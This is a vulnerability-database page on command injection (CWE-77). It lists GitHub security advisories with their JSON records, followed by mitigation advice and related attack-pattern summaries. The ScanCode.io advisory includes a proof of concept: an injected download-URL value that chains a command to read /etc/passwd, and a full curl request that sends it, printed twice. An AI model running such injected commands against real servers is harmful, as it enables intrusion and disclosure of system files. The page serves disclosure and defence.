CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-2GGP-CMVM-F62F
Vulnerability from github – Published: 2023-08-09 14:41 – Updated: 2023-08-09 14:41Command Injection in docker fetch process
Summary
A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.
Details
In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.
def fetch_docker_image(docker_reference, to=None):
"""
code snipped ....
"""
platform_args = []
platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
"""
code snipped...
"""
However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.
def get_docker_image_platform(docker_reference):
"""
Return a platform mapping of a docker reference.
If there are more than one, return the first one by default.
"""
skopeo_executable = _get_skopeo_location()
"""
Constructing a shell command with user controlled variable `docker_reference`
"""
cmd = (
f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
f"{docker_reference}"
)
logger.info(f"Fetching image os/arch data: {cmd}")
exitcode, output = pipes.run_command(cmd) # Executing command
logger.info(output)
if exitcode != 0:
raise FetchDockerImageError(output)
A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.
PoC
-
Create a new project with following input
docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwdin the filed Download URLs
-
Check docker logs to see the command execution
curl -i -s -k -X $'POST' \
-H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
-b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
--data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
$'http://localhost/project/add/'
Mitigations
The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.
Tested on: - Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb] - OS: Ubuntu Linux Kernel 5.19.0
References [1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 32.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "scancodeio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "32.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-39523"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-09T14:41:23Z",
"nvd_published_at": "2023-08-07T21:15:09Z",
"severity": "MODERATE"
},
"details": "## Command Injection in docker fetch process\n\n### Summary\nA possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.\n\n\n### Details\nIn the function `scanpipe/pipes/fetch.py:fetch_docker_image`[1] the parameter `docker_reference` is user controllable. The `docker_reference` variable is then passed to the vulnerable function `get_docker_image_platform`. \n```python\ndef fetch_docker_image(docker_reference, to=None):\n \"\"\"\n code snipped ....\n \"\"\"\n platform_args = []\n platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed\n \"\"\"\n code snipped...\n \"\"\"\n```\n\nHowever, the `get_docker_image_plaform` function constructs a shell command with the passed `docker_reference`. The `pipes.run_command` then executes the shell command without any prior sanitization, making the function vulnerable to command injections. \n\n```python\ndef get_docker_image_platform(docker_reference):\n \"\"\"\n Return a platform mapping of a docker reference.\n If there are more than one, return the first one by default.\n \"\"\"\n skopeo_executable = _get_skopeo_location()\n \"\"\"\n Constructing a shell command with user controlled variable `docker_reference`\n \"\"\"\n cmd = (\n f\"{skopeo_executable} inspect --insecure-policy --raw --no-creds \"\n f\"{docker_reference}\"\n )\n\n logger.info(f\"Fetching image os/arch data: {cmd}\")\n exitcode, output = pipes.run_command(cmd) # Executing command\n logger.info(output)\n if exitcode != 0:\n raise FetchDockerImageError(output)\n``` \n\nA malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of `docker://;`, it would allow appending malicious commands.\n\n### PoC\n\n1. Create a new project with following input `docker://;echo${IFS}\"PoC\"${IFS}\u0026\u0026cat${IFS}/etc/passwd` in the filed Download URLs\n\n\n2. Check docker logs to see the command execution\n\n\n```bash\ncurl -i -s -k -X $\u0027POST\u0027 \\\n -H $\u0027Host: localhost\u0027 -H $\u0027User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0\u0027 -H $\u0027Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\u0027 -H $\u0027Accept-Language: en-US,en;q=0.5\u0027 -H $\u0027Accept-Encoding: gzip, deflate\u0027 -H $\u0027Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060\u0027 -H $\u0027Content-Length: 923\u0027 -H $\u0027Origin: http://localhost\u0027 -H $\u0027DNT: 1\u0027 -H $\u0027Connection: close\u0027 -H $\u0027Referer: http://localhost/project/add/\u0027 -H $\u0027Upgrade-Insecure-Requests: 1\u0027 -H $\u0027Sec-Fetch-Dest: document\u0027 -H $\u0027Sec-Fetch-Mode: navigate\u0027 -H $\u0027Sec-Fetch-Site: same-origin\u0027 -H $\u0027Sec-Fetch-User: ?1\u0027 \\\n -b $\u0027csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR\u0027 \\\n --data-binary $\u0027-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"csrfmiddlewaretoken\\\"\\x0d\\x0a\\x0d\\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"name\\\"\\x0d\\x0a\\x0d\\x0apoc\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"input_files\\\"; filename=\\\"\\\"\\x0d\\x0aContent-Type: application/octet-stream\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"input_urls\\\"\\x0d\\x0a\\x0d\\x0adocker://;echo${IFS}\\\"PoC\\\"${IFS}\u0026\u0026cat${IFS}/etc/passwd\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"pipeline\\\"\\x0d\\x0a\\x0d\\x0a\\x0d\\x0a-----------------------------2742275543734015476190112060\\x0d\\x0aContent-Disposition: form-data; name=\\\"execute_now\\\"\\x0d\\x0a\\x0d\\x0aon\\x0d\\x0a-----------------------------2742275543734015476190112060--\\x0d\\x0a\u0027 \\\n $\u0027http://localhost/project/add/\u0027\n```\n\n**Mitigations**\nThe `docker_reference` input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly. \n\n\n**Tested on:**\n- Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]\n- OS: Ubuntu Linux Kernel 5.19.0\n\n**References**\n[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185\n",
"id": "GHSA-2ggp-cmvm-f62f",
"modified": "2023-08-09T14:41:23Z",
"published": "2023-08-09T14:41:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nexB/scancode.io/security/advisories/GHSA-2ggp-cmvm-f62f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39523"
},
{
"type": "WEB",
"url": "https://github.com/nexB/scancode.io/commit/07ec0de1964b14bf085a1c9a27ece2b61ab6105c"
},
{
"type": "PACKAGE",
"url": "https://github.com/nexB/scancode.io"
},
{
"type": "WEB",
"url": "https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185"
},
{
"type": "WEB",
"url": "https://github.com/nexB/scancode.io/releases/tag/v32.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "ScanCode.io command injection in docker image fetch process"
}
GHSA-2GM8-JJ36-C9VW
Vulnerability from github – Published: 2021-12-22 00:00 – Updated: 2022-01-05 00:02Mesa Labs AmegaView Versions 3.0 and prior has a command injection vulnerability that can be exploited to execute commands in the web server.
{
"affected": [],
"aliases": [
"CVE-2021-27449"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-21T18:15:00Z",
"severity": "HIGH"
},
"details": "Mesa Labs AmegaView Versions 3.0 and prior has a command injection vulnerability that can be exploited to execute commands in the web server.",
"id": "GHSA-2gm8-jj36-c9vw",
"modified": "2022-01-05T00:02:05Z",
"published": "2021-12-22T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27449"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-147-03"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2GV4-4PQX-R2H9
Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-10-25 19:00Multiple vulnerabilities in the Cisco ATA 190 Series Analog Telephone Adapter Software could allow an attacker to perform a command injection attack resulting in remote code execution or cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
{
"affected": [],
"aliases": [
"CVE-2021-34710"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-06T20:15:00Z",
"severity": "HIGH"
},
"details": "Multiple vulnerabilities in the Cisco ATA 190 Series Analog Telephone Adapter Software could allow an attacker to perform a command injection attack resulting in remote code execution or cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.",
"id": "GHSA-2gv4-4pqx-r2h9",
"modified": "2022-10-25T19:00:34Z",
"published": "2022-05-24T19:16:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34710"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multivuln-A4J57F3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H24-8RJH-QGJV
Vulnerability from github – Published: 2026-05-20 00:31 – Updated: 2026-05-20 15:35Microsoft is aware of a security feature bypass vulnerability in Windows publicly referred to as "YellowKey". The proof of concept for this vulnerability has been made public violating coordinated vulnerability best practices. We are issuing this CVE to provide mitigation guidance that can be implemented to protect against this vulnerability until the security update is made available.
{
"affected": [],
"aliases": [
"CVE-2026-45585"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-20T00:16:44Z",
"severity": "MODERATE"
},
"details": "Microsoft is aware of a security feature bypass vulnerability in Windows publicly referred to as \u0026quot;YellowKey\u0026quot;. The proof of concept for this vulnerability has been made public violating coordinated vulnerability best practices.\nWe are issuing this CVE to provide mitigation guidance that can be implemented to protect against this vulnerability until the security update is made available.",
"id": "GHSA-2h24-8rjh-qgjv",
"modified": "2026-05-20T15:35:28Z",
"published": "2026-05-20T00:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45585"
},
{
"type": "WEB",
"url": "https://github.com/Nightmare-Eclipse/YellowKey"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H2H-9462-VXG8
Vulnerability from github – Published: 2023-07-07 15:30 – Updated: 2024-04-04 05:50TOTOLINK LR350 V9.3.5u.6369_B20220309 was discovered to contain a command injection vulnerability via the FileName parameter in the setUploadSetting function.
{
"affected": [],
"aliases": [
"CVE-2023-37149"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-07T14:15:09Z",
"severity": "CRITICAL"
},
"details": "TOTOLINK LR350 V9.3.5u.6369_B20220309 was discovered to contain a command injection vulnerability via the FileName parameter in the setUploadSetting function.",
"id": "GHSA-2h2h-9462-vxg8",
"modified": "2024-04-04T05:50:30Z",
"published": "2023-07-07T15:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37149"
},
{
"type": "WEB",
"url": "https://github.com/DaDong-G/Vulnerability_info/blob/main/TOTOLINK/lr350/4/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H2R-V7GX-3JGH
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 00:31Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to disclose information over a network.
{
"affected": [],
"aliases": [
"CVE-2026-42824"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:17:32Z",
"severity": "MODERATE"
},
"details": "Improper neutralization of special elements used in a command (\u0027command injection\u0027) in M365 Copilot allows an unauthorized attacker to disclose information over a network.",
"id": "GHSA-2h2r-v7gx-3jgh",
"modified": "2026-06-05T00:31:52Z",
"published": "2026-06-05T00:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42824"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2H35-G555-434H
Vulnerability from github – Published: 2021-12-27 00:01 – Updated: 2022-01-05 00:01Certain NETGEAR devices are affected by command injection by an authenticated user. This affects RBK752 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK852 before 3.2.16.6, RBR850 before 3.2.16.6, and RBS850 before 3.2.16.6.
{
"affected": [],
"aliases": [
"CVE-2021-45563"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-26T01:15:00Z",
"severity": "MODERATE"
},
"details": "Certain NETGEAR devices are affected by command injection by an authenticated user. This affects RBK752 before 3.2.16.6, RBR750 before 3.2.16.6, RBS750 before 3.2.16.6, RBK852 before 3.2.16.6, RBR850 before 3.2.16.6, and RBS850 before 3.2.16.6.",
"id": "GHSA-2h35-g555-434h",
"modified": "2022-01-05T00:01:31Z",
"published": "2021-12-27T00:01:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45563"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000064084/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-WiFi-Systems-PSV-2020-0066"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2H49-MPGF-JR58
Vulnerability from github – Published: 2023-03-01 09:30 – Updated: 2023-03-10 03:30Authenticated remote command injection vulnerabilities exist in the ArubaOS web-based management interface. Successful exploitation of these vulnerabilities result in the ability to execute arbitrary commands as a privileged user on the underlying operating system. This allows an attacker to fully compromise the underlying operating system on the device running ArubaOS.
{
"affected": [],
"aliases": [
"CVE-2023-22758"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-01T08:15:00Z",
"severity": "HIGH"
},
"details": "Authenticated remote command injection vulnerabilities exist in the ArubaOS web-based management interface. Successful exploitation of these vulnerabilities result in the ability to execute arbitrary commands as a privileged user on the underlying operating system. This allows an attacker to fully compromise the underlying operating system on the device running ArubaOS.",
"id": "GHSA-2h49-mpgf-jr58",
"modified": "2023-03-10T03:30:15Z",
"published": "2023-03-01T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22758"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-002.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2H5V-8F26-647C
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54Adobe Acrobat and Reader versions , 2019.012.20035 and earlier, 2019.012.20035 and earlier, 2017.011.30142 and earlier, 2017.011.30143 and earlier, 2017.011.30142 and earlier, 2015.006.30497 and earlier, and 2015.006.30498 and earlier have a command injection vulnerability. Successful exploitation could lead to arbitrary code execution .
{
"affected": [],
"aliases": [
"CVE-2019-8060"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-20T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Adobe Acrobat and Reader versions , 2019.012.20035 and earlier, 2019.012.20035 and earlier, 2017.011.30142 and earlier, 2017.011.30143 and earlier, 2017.011.30142 and earlier, 2015.006.30497 and earlier, and 2015.006.30498 and earlier have a command injection vulnerability. Successful exploitation could lead to arbitrary code execution .",
"id": "GHSA-2h5v-8f26-647c",
"modified": "2022-05-24T16:54:16Z",
"published": "2022-05-24T16:54:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8060"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb19-41.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2H6R-FGMG-PPFQ
Vulnerability from github – Published: 2025-10-21 06:31 – Updated: 2025-10-21 06:31Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in The Wikimedia Foundation Mediawiki Foundation - Springboard Extension allows Command Injection.This issue affects Mediawiki Foundation - Springboard Extension: master.
{
"affected": [],
"aliases": [
"CVE-2025-62696"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-21T04:16:07Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability in The Wikimedia Foundation Mediawiki Foundation - Springboard Extension allows Command Injection.This issue affects Mediawiki Foundation - Springboard Extension: master.",
"id": "GHSA-2h6r-fgmg-ppfq",
"modified": "2025-10-21T06:31:10Z",
"published": "2025-10-21T06:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62696"
},
{
"type": "WEB",
"url": "https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Springboard/+/1174003"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T400422"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.